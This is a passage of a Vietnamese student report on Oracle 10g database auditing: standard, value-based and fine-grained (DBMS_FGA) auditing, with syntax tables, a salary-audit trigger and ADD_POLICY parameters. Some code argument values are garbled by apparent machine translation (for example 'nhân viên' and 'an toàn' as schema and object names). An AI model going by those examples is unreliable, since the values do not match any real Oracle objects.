Các tham số AUDIT_SYS_OPERETIONS tĩnh tham số cho phép hoặc

vô hiệu hóa hoạt động kiểm tra do người dùng kết nối với SYSDBA hoặc

SYSOPER đặc quyền, bao gồm cả người sử dụng SYS. Tất cả các hồ sơ kiểm

toán được ghi vào đường mòn kiểm toán hệ điều hành.

Các tham số AUDIT_FILE_DEST mô tả thư mục hệ điều hành được sử

dụng cho các đường mòn kiểm toán khi OS,XML và XML, tùy chón mở rộng

được sử dụng. Nó cũng là vị trí cho tất cả các kiểm tra bắt buộc quy định bởi

tham số AUDIT_SYS_OPERATIONS.

Để kích hoạt tính năng kiểm toán và các hồ sơ kiểm toán trực tiếp cho

các đường mòn kiểm toán cơ sở dữ liệu, chúng ta sẽ làm như sau.

SQL> ALTER SYSTEM SET audit_trail=db SCOPE=SPFILE;

System altered.

SQL> SHUTDOWN

Database closed.

Database dismounted.

Lớp AT3C - 59 - Cao Thị Hồng Thúy

Page 60: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

ORACLE instance shut down.

SQL> STARTUP

ORACLE instance started.

Total System Global Area 289406976 bytes

Fixed Size 1248600 bytes

Variable Size 71303848 bytes

Database Buffers 213909504 bytes

Redo Buffers 2945024 bytes

Database mounted.

Database opened.

SQL>

Khởi động lại cơ sở dữ liệu sau khi thay đổi một khởi tạo tĩnh

tham số

Phải bật tính năng kiểm toán cơ sở dữ liệu trước khi chỉ định việc cài đặt

kiểm toán.

Bước 2 : Tùy chọn iểm toán ( Specify Audit Option )

Standa Audit được chia làm 3 level sau:

Mức kiểm toán của

Standard Auditing

Ý nghĩa / Mô tả

Câu lệnh kiểm

tra(Statement

auditing)

Kiểm toán các câu lệnh SQL theo loại Câu lệnh,

không phải bởi các đối tượng lược đồ cụ thể mà nó

hoạt động. Điển hình mở rộng, câu lệnh kiểm tra

kiểm toán việc sử dụng một số loại hành động có

liên quan cho mỗi tùy chọn. Ví dụ, kiểm toán Bảng

một số bài nhạc DDL báo cáo bất kể bảng mà họ

được ban hành. Cũng có thể thiết lập câu lệnh kiểm

tra để kiểm toán người dùng lựa chọn hoặc mỗi

người sử dụng trong CSDL.

Đăc quyền kiểm tra

(Privilege auditing)

Kiểm toán sử dụng các đặc quyền hệ thống cho các

hành động tương ứng, chẳng hạn như kiểm toán

CREATE TABLE. Đặc quyền kiểm tra tập trung

hơn so với kiểm tra câu lệnh bởi vì nó chỉ kiểm tra

Lớp AT3C - 60 - Cao Thị Hồng Thúy

Page 61: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

việc sử dụng các đặc quyền nhắm mục tiêu. Có thể

thiết lập quyền kiểm tra để kiểm toán một người sử

dụng lựa chọn hoặc mỗi người sử dung trong CSDL.

Lược đồ đối tượng

kiểm tra(Schema

object auditing)

Kiểm toán báo cáo cụ thể về một lược đồ cụ thể đối

tượng, chẳng hạn như AUDIT SELECT ON

employees. Lược đồ đối tượng kiểm tra là rất tập

trung, kiểm tra chỉ một câu lệnh cụ thể về một lược

đồ đối tượng cụ thể. Lược đồ đối tượng kiểm tra

luôn luôn áp dụng cho tất cả người dùng của CSDL.

Bảng 2.2: Mức kiểm toán của Standard Auditing

Statement auditing

Cú pháp : AUDIT (TABLE, VIEW,TRIGGER, ROLE…) [BY user]

[WHENEVER SUCCESSFUL /NOT SUCCESSFUL] [BY SESEION] [BY

ACCESS];

Trong đó:

BY USER : Khi không có BY USER câu lệnh sẽ thực hiện kiểm

toán với tất cả user. Trong trường hợp việc lưu lại hoạt động của

tất cả các user là không cần thiết thì ta có thể sử dụng BY USER

để thực hiện giám sát với một số user cần quan tâm

BY SESSION : Chỉ chèn có một bản ghi kiểm toán vào các audit

trail, cho mỗi người dùng và schema object, trong mỗi phiên bao

gồm một hành động được kiểm toán. (Phiên là thời gian giữa khi

người dùng kết nối vào và ngắt kết nối từ Oracle Database.)

BY ACCESS : Chỉ chèn có một bản ghi kiểm toán vào các audit

trail cho mỗi hành động được truy suất

WHENEVER SUCCESSFUL /NOT SUCCESSFUL : Ghi lại

những hành động thành công hoặc thất bại.

Các Auditable Statements bao gồm toàn bộ trong bảng sau:

Lớp AT3C - 61 - Cao Thị Hồng Thúy

Page 62: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Statement Option SQL Operations

CLUSTERCREATE, ALTER, DROP, or TRUNCATEa

cluster

CONTEXT CREATEor DROPa CONTEXT

DATABASE LINK CREATEor DROPa database link

DIMENSION CREATE, ALTER, or DROPa dimension

DIRECTORY CREATEor DROPa dimension

INDEX CREATE, ALTER, or DROPan index

MATERIALIZED VIEWCREATE, ALTER, or DROPa materialized

view

NOT EXISTSFailure of SQL statement due to nonexistent

referenced objects

PROCEDURE

CREATEor DROP

FUNCTION, LIBRARY, PACKAGE, PACKA

GE BODY, orPROCEDURE

PROFILE CREATE, ALTER, or DROPa profile

PUBLIC DATABASE LINK CREATEor DROPa public database link

PUBLIC SYNONYM CREATEor DROPa public synonym

ROLE CREATE,ALTER,DROP, orSETa role

ROLLBACK SEGMENT CREATE,ALTER, orDROPa rollback segment

SEQUENCE CREATEorDROPa sequence

SESSION Logons and logoffs

Lớp AT3C - 62 - Cao Thị Hồng Thúy

Page 63: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

SYNONYM CREATEorDROPsynonyms

SYSTEM AUDIT AUDITorNOAUDITof system privileges

SYSTEM GRANT GRANTorREVOKEsystem privileges and roles

TABLE CREATE,DROP, orTRUNCATEa table

TABLESPACE CREATE,ALTER, orDROPa tablespace

TRIGGER

CREATE,ALTER(enable/

disable),DROPtriggers;ALTER TABLEwith

eitENABLE ALL TRIGGERSorDISABLE

ALL TRIGGERS her

TYPECREATE,ALTER, orDROPtypes and type

bodies

USER CREATE,ALTER, orDROPa user

VIEW CREATEorDROPa view

ALTER SEQUENCE AnyALTER SEQUENCEcommand

ALTER TABLE AnyALTER TABLEcommand

COMMENT TABLEAdd a comment to a table, view, materialized

view, or any of their columns

DELETE TABLE Delete rows from a table or view

EXECUTE PROCEDUREExecute a procedure, function, or any variables

or cursors within a package

GRANT DIRECTORYGRANTorREVOKEa privilege on

aDIRECTORYobject

GRANT PROCEDUREGRANTorREVOKEa privilege on a procedure,

function, or package

Lớp AT3C - 63 - Cao Thị Hồng Thúy

Page 64: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

GRANT SEQUENCE GRANTorREVOKEa privilege on a sequence

GRANT TABLEGRANTorREVOKEa privilege on a table, view,

or materialized view

GRANT TYPE GRANTorREVOKEa privilege on aTYPE

INSERT TABLE INSERT INTOa table or view

LOCK TABLE LOCK TABLEcommand on a table or view

SELECT SEQUENCEAny command referencing the sequence’s

CURRVALorNEXTVAL

SELECT TABLESELECT FROMa table, view, or materialized

view

UPDATE TABLE ExecuteUPDATEon a table or view

Bảng 2.3: Các Auditable Statements

Privilege auditing

Nó có thể được sử dụng để kiểm toán việc thực hiện của bất kỳ đặc

quyền hệ thống (chẳng hạn như DROP TABLE bất kỳ). Có thể được tập trung

bởi tên người dùng hoặc bởi sự thành công hay thất bại.

AUDIT (danh sách các quyền như SELECT,GRANT,…) ANY

(TABLE,PRIVILEGE,…) [BY USER] [BY SESSION] [BY ACCESS];

Trong đó : BY USER , BY SESSION, BY ACCESS tương tự như trên.

Privileges Audited by Default

ALTER ANY PROCEDUREALTER ANY TABLEALTER DATABASEALTER PROFILEALTER SYSTEMALTER USERAUDIT SYSTEMCREATE ANY JOB

CREATE ANY LIBRARYCREATE ANY PROCEDURECREATE ANY TABLECREATE EXTERNAL JOBCREATE PUBLIC DATABASE LINK

GRANT ANY PRIVILEGEGRANT ANY ROLEDROP ANY PROCEDUREDROP ANY TABLEDROP PROFILEDROP USER

Lớp AT3C - 64 - Cao Thị Hồng Thúy

Page 65: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

CREATE SESSIONCREATE USERGRANT ANY OBJECT PRIVILEGE

EXEMPT ACCESS POLICY

Statements Audited by Default

SYSTEM AUDIT BY ACCESSROLE BY ACCESS

Hình 2.3: Bảng Privileges audit mặc định.

Schema object auditing

Nó có thể được sử dụng để kiểm toán hoạt động trên bảng, khung nhìn,

sequences, thủ tục, thư mục, và các kiểu dữ liệu người dùng định nghĩa. Đây

là loại kiểm toán có thể được tập trung bởi thành công hay thất bại và được

nhóm lại theo phiên hoặc truy cập. Không giống như các hệ thống đặc quyền

kiểm toán, mặc định nhóm là bởi phiên. Vì vậy, hoàn toàn phải ghi rõ BY

ACCESS nếu muốn có một kiểm toán riêng biệt ghi lại dấu vết tạo ra cho mỗi

hành động.

Để kích hoạt kiểm toán Schema object auditing ta sử dụng câu lệnh

AUDIT nhưng chỉ rõ user nài gắn với đối tượng nào trong câu lệnh AUDIT

Cú pháp : AUDIT [danh sách các câu lệnh như SELEC, UPDATE,…]

on user.table [WHENEVER SUCCESSFUL /NOT SUCCESSFUL] [BY

SESION] [BY ACCESS];

Object

Option

Description

ALTER Alters a table, sequence, or materialized view

Lớp AT3C - 65 - Cao Thị Hồng Thúy

Page 66: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

AUDIT Audits commands on any object

COMMENT Adds comments to tables, views, or materialized views

DELETE Deletes rows from a table, view, or materialized view

FLASHBACK Performs flashback operation on a table or view

GRANT Grants privileges on any type of object

INDEX Creates an index on a table or materialized view

INSERT Inserts rows into a table, view, or materialized view

LOCK Locks a table, view, or materialized view

READPerforms a read operation on the contents of

a DIRECTORYobject

RENAME Renames a table, view, or procedure

SELECTSelects rows from a table, view, sequence, or materialized

view

UPDATE Updates a table, view, or materialized view

Bảng 2.4: Bảng Object Auditing Options  (Tùy chọn đối tượng kiểm toán)

Bước 3 : Xem kiểm toán (Review Audit Information)

Sau khi đã kích hoạt kiểm toán cơ sở dữ liệu và các tùy chọn kiểm toán

(thông tin đăng nhập các sự kiện, hoạt động của hệ thống và đặc quyền đối

tượng, hoặc sử dụng các câu lệnh SQL), cơ sở dữ liệu bắt đầu ghi các thông

tin kiểm toán.

Nếu AUDIT_TRAIL được cài đặt cho hệ thống thì các bản ghi kiểm

toán được lưu trữ trong kiểm toán của hệ điều hành hệ thống.Trong môi

Lớp AT3C - 66 - Cao Thị Hồng Thúy

Page 67: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

trường window đây là bản ghi sự kiện (event logs). Trong môi trường Linux

hay Unix bản ghi kiểm toán được lưu trữ trong file.Các vị trí của tập tin được

chỉ đinh với tham số AUDIT_FILE_DEST.

Giả sử rằng các tham số AUDIT_TRAIL được thiết lập cho DB, ta có

thể xem lại các bản ghi kiểm toán trong khung nhìn DBA_AUDIT_TRAIL,

đó là một phần của lược đồ SYS.

Nếu AUDIT_TRAIL được thiết lập cho XML hay XML, EXTENDED,

các bản ghi kiểm toán được ghi vào file XML trong directory mà

AUDIT_FILE_DEST điểm tham số. Khung nhìn V$XML_AUDIT_TRAIL

cho phép xem tất cả các tập tin XML trong thư mục này.

Lớp AT3C - 67 - Cao Thị Hồng Thúy

Page 68: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Element Type

AUDIT_TYPE VARCHAR2(18)

SESSION_ID NUMBER

PROXY_SESSIONID NUMBER

STATEMENTID NUMBER

ENTRYID NUMBER

EXTENDED_TIMESTAMP TIMESTAMP(6) WITH TIME ZONE

GLOBAL_UID VARCHAR2(32)

DB_USER VARCHAR2(30)

CLIENT_ID VARCHAR2(64)

EXT_NAME VARCHAR2(4000)

OS_USER VARCHAR2(255)

USERHOST VARCHAR2(128)

OS_PROCESS VARCHAR2(16)

TERMINAL VARCHAR2(255)

INSTANCE_NUMBER NUMBER

OBJECT_SCHEMA VARCHAR2(30)

Lớp AT3C - 68 - Cao Thị Hồng Thúy

Page 69: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Element Type

OBJECT_NAME VARCHAR2(128)

POLICY_NAME VARCHAR2(30)

STATEMENT_TYPE VARCHAR2(28)

TRANSACTIONID RAW(8)

SCN NUMBER

COMMENT_TEXT VARCHAR2(4000)

SQL_BIND VARCHAR2(4000)

SQL_TEXT VARCHAR2(4000)

Bảng 2.5: Bảng các yếu tố trong view V$XML_AUDIT_TRAIL

Bước 4 : Duy trì kiểm toán (Maintain audit)

Duy trì các dấu vết kiểm toán là một nhiệm vụ quan trọng. Tùy thuộc

vào sự tập trung của các tùy chọn kiểm toán, các dấu vết có thể phát triển rất

lớn rất nhanh. Nếu không được duy trì đúng đắn, các audit trail có thể tiêu thụ

rất nhiều không gian và nó sẽ ảnh hưởng đến hiệu suất của hệ thống.

Các thông tin được thu thập bởi kiểm toán tiêu chuẩn(Standa audit trail)

bao gồm:

Số lượng thay đổi hệ thống (SCN), trong đó ghi lại mọi thay đổi

cho hệ thống

Các văn bản SQL chính xác được thực hiện bởi người sử dụng và

biến ràng buộc được sử dụng với các văn bản SQL.Các cột này chỉ

Lớp AT3C - 69 - Cao Thị Hồng Thúy

Page 70: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

xuất hiện nếu đã xác định AUDIT_TRAIL = DB, EXTENDED tại

tập tin khởi tạo các thông số.

Để xem kiểm toán ta sử dụng câu lệnh :

Select * from dba_audit_trail : Xem các thông tin kiểm toán được

lưu trong view DBA_AUDIT_TRAIL.

Select * from dba_priv_audit_opts :Xem các thông tin kiểm toán

được lưu trong view DBA_PRIV_AUDIT_OPTS.

Bước 5 : Hủy bỏ kiểm toán

Để hủy bỏ các kiểm toán ta dùng câu lệnh NO AUDIT. Nếu AUDIT sử

dụng câu lệnh như thế nào thì NO AUDIT phải dử dụng tương tự.

2.3.2.2. Trang Enterprise Manager Audit.

Hình 2.4: Trang Enterprise Manager Audit

Có thể tiếp cận trang kiểm toán từ trang điều khiển cơ sở dữ liệu bằng

cách click vào Administration tab và sau đó liên kết Audit Settings trong

Users & Privileges region.

Các kiểm toán bao gồm :

Lớp AT3C - 70 - Cao Thị Hồng Thúy

Page 71: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Configuration (Cấu hình): Hiển thị các giá trị tham số cấu hình

hiện tại và có chứa các liên kết đến

chỉnh sửa các giá trị tham số

Audit Trails: Cho phép truy cập dễ dàng tới thông tin kiểm toán đã

được ghi lại

Sử dụng các tab sau để thiết lập và gỡ bỏ các tùy chọn kiểm

toánAudited

Privileges: Trình bày những đặc quyền được kiểm toán

Audited Objects: Hiển thị các đối tượng được kiểm toán

Audited Statements: Hiển thị các báo cáo được kiểm toán

2.3.2.3. Sử dụng và duy trì thông tin kiểm toán.

Hình 2.5: Các đối tượng kiểm toán

Vô hiệu hóa tùy chọn kiểm toán nếu không sử dụng chúng.

Hình 2.6: Vô hiệu hóa tùy chọn kiểm toán

Do kiểm toán sẽ làm cho hệ thống phải tải nhiều hơn vì thế nên gỡ bỏ tất

cả những gì không cần sử dụng

2.3.3. Value-Based Auditing.

Lớp AT3C - 71 - Cao Thị Hồng Thúy

Page 72: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Hình 2.7: Value-Based Auditing

Việc kiểm toán cơ sở dữ liệu ghi lại việc chèn, cập nhật, và xóa đã xảy ra

trong các đối tượng được kiểm toán, nhưng không nắm bắt được giá trị thực

tế được thay đổi. Kiểm toán dựa trên giá trị mở rộng việc kiểm toán cơ sở dữ

liệu bằng cách ghi lại các giá trị thực tế được thay đổi. Kiểm toán dựa trên giá

trị thúc đẩy cơ sở dữ liệu kích hoạt (event-driven PL/SQL constructs).

Khi người dùng chèn, cập nhật, hoặc xóa dữ liệu từ một bảng với các

trigger thích hợp,các trigger này hoạt động trong background để sao chép

thông tin kiểm toán cho một bảng được thiết kế để có các thông tin kiểm toán.

Value-based auditing có xu hướng suy giảm hiệu suất hơn

standard database auditing bởi vì các mã trigger kiểm toán phải được thực

hiện mỗi khi chèn,cập nhật, hoặc xóa các hoạt động xảy ra. Mức độ xuống

cấp phụ thuộc vào hiệu quả của mã trigger. Kiểm toán dựa trên giá trị chỉ

được sử dụng trong trường hợp các thông tin lưu của standard database

auditing không đủ tiêu chuẩn

Chìa khóa để kiểm toán dựa trên giá trị là audit trigger. Một audit

trigger điển hình là như sau:

CREATE OR REPLACE TRIGGER system.hrsalary_audit

AFTER UPDATE OF salary

ON hr.employees

REFERENCING NEW AS NEW OLD AS OLD

FOR EACH ROW

BEGIN

Lớp AT3C - 72 - Cao Thị Hồng Thúy

Page 73: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

IF :old.salary != :new.salary THEN

INSERT INTO system.audit_employees

VALUES (sys_context('userenv','os_user'), sysdate,

sys_context('userenv','ip_address'),

:new.employee_id ||

' salary changed from '||:old.salary||

' to '||:new.salary);

END IF;

END;

/

Trigger này tập trung kiểm toán để nắm bắt những thay đổi trong cột

lương của bảng hr.employees. Khi liên tiếp được cập nhật, kích hoạt kiểm tra

cột lương. Nếu mức lương cũ không bằng với số tiền lương mới, sau đó chèn

kích hoạt một hồ sơ kiểm toán vào bảng audit_employees (tạo ra thông qua

một hoạt động riêng biệt trong lược đồ hệ thống). Bản ghi kiểm toán bao gồm

các tên người dùng, địa chỉ IP mà từ đó thay đổi được thực hiện, các khóa

chính xác mà ghi lại được thay đổi, và các giá trị tiền lương thực tế được thay

đổi.

Database triggers cũng có thể được sử dụng để nắm bắt thông tin về kết

nối người sử dụng trong trường hợp standard database auditing không thu

thập đủ dữ liệu. Khi đăng nhập, kích hoạt, các quản trị viên

có thể chụp các dữ liệu nhận dạng người dùng được kết nối với cơ sở dữ liệu.

Ví dụ như các thông tin sau đây:

Địa chỉ IP của mỗi người đăng nhập vào.

48 kí tự đầu của tên chương trình được dung để kết nối với

instance.

Tên Terminal được sử dụng để kết nối với instance.

Đối với một danh sách đầy đủ các thông số người sử dụng, hãy xem

phần có tiêu đề "SYS_CONTEXT" trong Oracle Database SQL Reference.

Lớp AT3C - 73 - Cao Thị Hồng Thúy

Page 74: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

2.3.4. Fine-Grained Auditing.

Kiểm toán truy cập dữ liệu và hành động dựa trên nội dung. Sử dụng

DBMS_FGA, các quản trị viên bảo mật tạo ra một chính sách kiểm toán trên

bảng mục tiêu. Nếu bất kỳ hàng nào trở về từ một khối câu lệnh DML phù

hợp với điều kiện kiểm toán, sau đó một sự kiện kiểm toán đưa vào dấu vết

kiểm toán.

2.3.4.1. Các tính năng vượt trội của kiểm toán FGA.

Fine grained auditing kiểm toán dữ liệu dựa trên nội dung. FGA cung

cấp điều khiển tốt hơn và là một phương pháp chi tiết hơn của kiểm toán.

Phương pháp này tạo ra các bản ghi kiểm toán dựa trên các điều kiện,

truy vấn chính xác,và lấy dữ liệu hoặc điều chỉnh bằng các statement. Nó

cung cấp một cơ sở để kiểm toán những statement tham chiếu đến một cột cụ

thể. Phương pháp FGA được giới thiệu trong Oracle9i. Tuy nhiên, Oracle

Database 10g tăng cường năng lực cho FGA bằng cách mở rộng SQL Support

để hỗ trợ các kiểm toán của các truy vấn, cũng như các hoạt động UPDATE,

INSERT và DELETE .

Hình 2.8: Ví vụ về chính sách kiểm toán

Được giới thiệu vào Oracle 9i, hạt mịn kiểm toán (FGA) thực hiện khả

năng kiểm toán thông qua một gói phần mềm mới có tên DBMS_FGA. Gói

này cho phép thực hiện kiểm toán ở một mức độ rất chi tiết đối với bất kỳ

bảng trong cơ sở dữ liệu thông qua một đối tượng cơ sở dữ liệu đặc biệt gọi là

một chính sách FGA. Có nhiều tiểu chương trình của gói DBMS_FGA . Gói

DBMS_FGA cho phép thiết lập các điều kiện kiểm toán và xác định các cột

kiểm toán để chỉ định cột trong một bảng hoặc xem yêu cầu monitoring. Khi

điều kiện được đáp ứng vào cột cụ thể,kiểm toán FGA sẽ lưu lại một bản ghi

kiểm toán cho thấy các truy vấn SQL text.

Lớp AT3C - 74 - Cao Thị Hồng Thúy

Page 75: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

ADD_POLICY Procedure Tạo ra một chính sách kiểm toán bằng

cách sử dụng các thuộc tính được cung

cấp như điều kiện kiểm toán

DISABLE_POLICY Procedure Vô hiệu hóa một chính sách kiểm toán

DROP_POLICY Procedure Giảm (Xoá) một chính sách kiểm toán

ENABLE_POLICY Procedure Cho phép một chính sách kiểm toán

Bảng 2.6: Các thủ tục của gói DBMS_FGA

Các bản ghi kiểm toán standard auditing chi tiết như chủ sở hữu, dấu

thời gian, loại của statement vv, nhưng nó không cung cấp thông tin về sự

thay đổi đã xảy ra trong dữ liệu. Thông tin này có thể rất hữu ích cho các

DBA hoặc người dùng muốn phân tích các hoạt động diễn ra trên bảng. Đây

là lý do tại sao nhà phát triển cần có sự giúp đỡ của triger và ghi lại các giá trị

bảng trước và sau trong bảng người dùng định nghĩa. Nhưng trigger chỉ có thể

được ghi lại bằng DML statements Insert, Update và Delete còn Select thì

không được lưu lại. Vì vậy,nếu muốn ghi lại các statement Select đã fire vào

một bảng hay cột cụ thể của bảng thì cần đến FGA để giải quyết. FGA cũng

cho phép kiểm toán phải được tập trung hẹp hơn so với standard hay value-

based database auditing.

Đến Oracle 9i, FGA chỉ được hỗ trợ Select, nhưng trong Oracle 10g

FGA hỗ trợ tất cả statement DML. Vì vậy, tất cả các Insert, Update, Delete và

Select statement có thể được chụp lại bằng cách sử dụng FGA và có thể được

xem qua các từ điển dữ liệu DBA_FGA_AUDIT_TRAIL.

Lớp AT3C - 75 - Cao Thị Hồng Thúy

Page 76: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Tên cột Miêu tả

STATEMENT_TYPE Loại của statement – INSERT, UPDATE,

DELETE, hay SELECT để kích hoạt kiểm

toán.

EXTENDED_TIMESTAMP Timestamp mở rộng của the trail entry.

PROXY_SESSIONID Nếu người dùng là một người dùng doanh

nghiệp và kết nối bằng cách sử dụng một

người sử dụng proxy, các SID của các phiên

kết nối người sử dụng proxy được hiển thị ở

đây.

GLOBAL_UID Nếu người dùng là một người dùng doanh

nghiệp,thì đây là các global user ID.

INSTANCE_NUMBER Số của instance nếu sử dụng RAC

OS_PROCESS Operating System xử lý id.

TRANSACTIONID Các transaction nhận dạng, nếu statement là

một phần của statement

TATEMENTID Statement id.

ENTRYID Các mục định danh trong các dấu vết.

Bảng 2.7: Các cột mới của dba_fga_audit_trail

Tùy chọn trong kiểm toán FGA có thể được tập trung bởi các cột riêng lẻ

trong một bảng hoặc khung nhìn, và thậm chí có thể có điều kiện để kiểm

toán được ghi lại chỉ khi một số chi tiết kỹ thuật quản trị được xác định là đáp

ứng. Nhiều hơn một cột có liên quan được hỗ trợ cho một chính sách FGA.

Theo mặc định, nếu có một trong cột này hiện diện trong các câu lệnh SQL,

nó được kiểm toán. DBMS_FGA.ALL_COLUMNS và

DBMS_FGA.ANY_COLUMNS được cung cấp cho kiểm toán trên cơ sở có

Lớp AT3C - 76 - Cao Thị Hồng Thúy

Page 77: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

bất kỳ hoặc tất cả các cột có liên quan được sử dụng trong bản báo cáo

(statement).

Sử dụng các gói DBMS_FGA PL / SQL để tạo ra một chính sách kiểm

toán trên target table hay view. Nếu bất kỳ các hàng được trả lại từ một khối

truy vấn kết hợp các cột được kiểm toán và kiểm toán quy định điều kiện, sau

đó có một sự kiện kiểm toán thì bản ghi kiểm toán phải được tạo ra và lưu trữ

trong các Audit Trail.

Các sự kiện kiểm toán cũng có thể thực hiện một thủ tục(procedure).

FGA tự động tập trung kiểm toán từ các mức độ báo cáo(statement), và do đó

một SELECT statement trả về hàng ngàn hàng chỉ tạo ra một bản ghi kiểm

toán.

Kiểm toán FGA cung cấp một phương pháp tiếp cận linh hoạt,được kiểm

soát để kiểm toán các hoạt động cơ sở dữ liệu. Các tính năng nổi bật như xử

lý sự kiện, kiểm toán, điều kiện, và cột tham chiếu cho các FGA một kĩ thuật

tốt hơn các kỹ thuật kiểm toán khác của Oracle. FGA là dễ dàng để quản lý và

không tạo thêm chi phí cho quản trị cơ sở dữ liệu.

2.3.4.2. Các thủ tục trong gói DBMS_FGA .

2.3.4.2.1. DBMS_FGA.ADD_POLICY Procedure.

Hình 2.9: DBMS_FGA.ADD_POLICY Procedure

Cú pháp

Lớp AT3C - 77 - Cao Thị Hồng Thúy

Page 78: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

DBMS_FGA.ADD_POLICY

(

object_schema VARCHAR2,

object_name VARCHAR2,

policy_name VARCHAR2,

audit_condition VARCHAR2,

audit_column VARCHAR2,

handler_schema VARCHAR2,

handler_module VARCHAR2,

enable BOOLEAN,

statement_types VARCHAR2,

audit_trail BINARY_INTEGER IN DEFAULT,

audit_column_opts BINARY_INTEGER IN DEFAULT

);

Parameter Description

object_schema Lược đồ của đối tượng được kiểm toán. Giá trị mặc

định: NULL. (Nếu NULL, những hiệu quả lược đồ

người dùng hiện hành được giả định.)

object_name Tên của đối tượng được kiểm toán

policy_name Tên duy nhất của chính sách.

audit_condition Một điều kiện trong một hàng mà chỉ ra một điều kiện

monitoring. NULL được cho phép và các hành vi như

là TRUE. Giá trị mặc định: NULL

audit_column Các cột phải được kiểm tra để truy cập. Đây có thể bao

gồm các cột ẩn. Các mặc định, NULL, nguyên nhân

kiểm toán nếu cột nào được truy cập hoặc bị ảnh

hưởng. Giá trị mặc định: NULL

handler_schema Các lược đồ có chứa các xử lý sự kiện. Các mặc định,

Lớp AT3C - 78 - Cao Thị Hồng Thúy

Page 79: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

NULL, nguyên nhân lược đồ hiện tại sẽ được sử dụng.

Giá trị mặc định: NULL

handler_module Tên chức năng của các xử lý sự kiện, bao gồm các tên

gói nếu cần thiết. Chức năng này được gọi chỉ sau khi

hàng đầu tiên phù hợp với điều kiện kiểm toán được xử

lý trong truy vấn. Nếu thủ tục không có ngoại lệ, user

SQL statement will fail as well. Giá trị mặc định:

NULL

Enable Cho phép các chính sách nếu TRUE, đó là mặc định.

Giá trị mặc định: TRUE

statement_types Các SQL statement mà chính sách này được áp dụng:

insert, update, delete, or select. Giá trị mặc định:

SELECT

audit_trail Whether to populate LSQLTEXT và LSQLBIND trong

fga_log$. Giá trị mặc định: DB_EXTENDED

Bảng 2.8: Mô tả các thuộc tính DBMS_FGA.ADD_POLICY

Ví dụ : cho thấy một chính sách FGA được tạo ra với thủ tục

DBMS_FGA.ADD_POLICY . Thủ tục này chấp nhận các đối số sau đây:

Tên chính sách

Chỉ định cho mỗi chính sách FGA một tên khi tạo ra nó. Như ví dụ trên

trong các tên chính sách AUDIT_EMPS_SALARY bằng cách sử dụng các

đối số sau đây: policy_name => 'audit_emps_salary'

Điều kiện kiểm toán

Các điều kiện kiểm toán là một câu lệnh SQL xác định được định nghĩa

khi sự kiện kiểm toán phải cháy. Trong ví dụ, tất cả các hàng trong

department_10 được kiểm toán bằng cách sử dụng các đối số điều kiện :

audit_condition => 'department_id=10'

Lớp AT3C - 79 - Cao Thị Hồng Thúy

Page 80: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Kiểm toán Cột (Audit column)

Các cột kiểm toán xác định các dữ liệu đang được kiểm toán. Một sự

kiện kiểm toán xảy ra nếu cột này bao gồm SELECT statement hoặc nếu điều

kiện kiểm toán cho phép lựa chọn. Trong ví dụ kiểm toán hai cột bằng cách sử

dụng các đối số sau đây: audit_column => 'LƯƠNG, COMMISION_PCT'

Đối số này là tùy chọn. Nếu nó không được quy định thì sau đó là đối số

AUDIT_CONDITION xác định xem một sự kiện kiểm toán phải xảy ra.

Đối tượng (Object)

Đối tượng là các bảng hoặc xem đó là được kiểm toán. Nó được thông

qua như là hai đối số:

- Các lược đồ có chứa các đối tượng

- Tên của đối tượng

Trong ví dụ các cuộc kiểm toán bảng hr.employees bằng cách sử dụng

các đối số sau đây: object_schema => 'h' object_name => 'nhân viên

Handler (Bộ xử lý)

Bộ xử lý sự kiện tùy chọn là một thủ tục PL / SQL xác định bất kỳ hành

động bổ sung phải được ghi lại trong kiểm toán. Ví dụ, Bộ xử lý sự kiện có

thể gửi một trang cảnh báo tới administraotor.

Nếu không xác định, sau đó mục kiểm toán sự kiện được đưa vào

audit_trail. Nếu một sự kiện kiểm toán xử lý được xác định, sau đó kiểm toán

được đưa vào audit_trail và xử lý sự kiện kiểm toán được thực hiện.

Các trường hợp được đưa vào kiểm toán bao gồm các chính sách FGA

tạo ra sự kiện, người sử dụng thực hiện các SQL statement, và SQL statement

và các biến của nó ràng buộc.Việc xử lý sự kiện được thông qua như là hai

đối số:

- Các lược đồ có chứa các PL / đơn vị chương trình SQL

- Tên của người / đơn vị PL chương trình SQL

Trong ví dụ trên đã thực hiện thủ tục SECURE.LOG_EMPS_SALARY

bằng cách sử dụng đối số sau:

- handler_schema => 'an toàn'

Lớp AT3C - 80 - Cao Thị Hồng Thúy

Page 81: DoAn Oracle CaoThiHongThuy

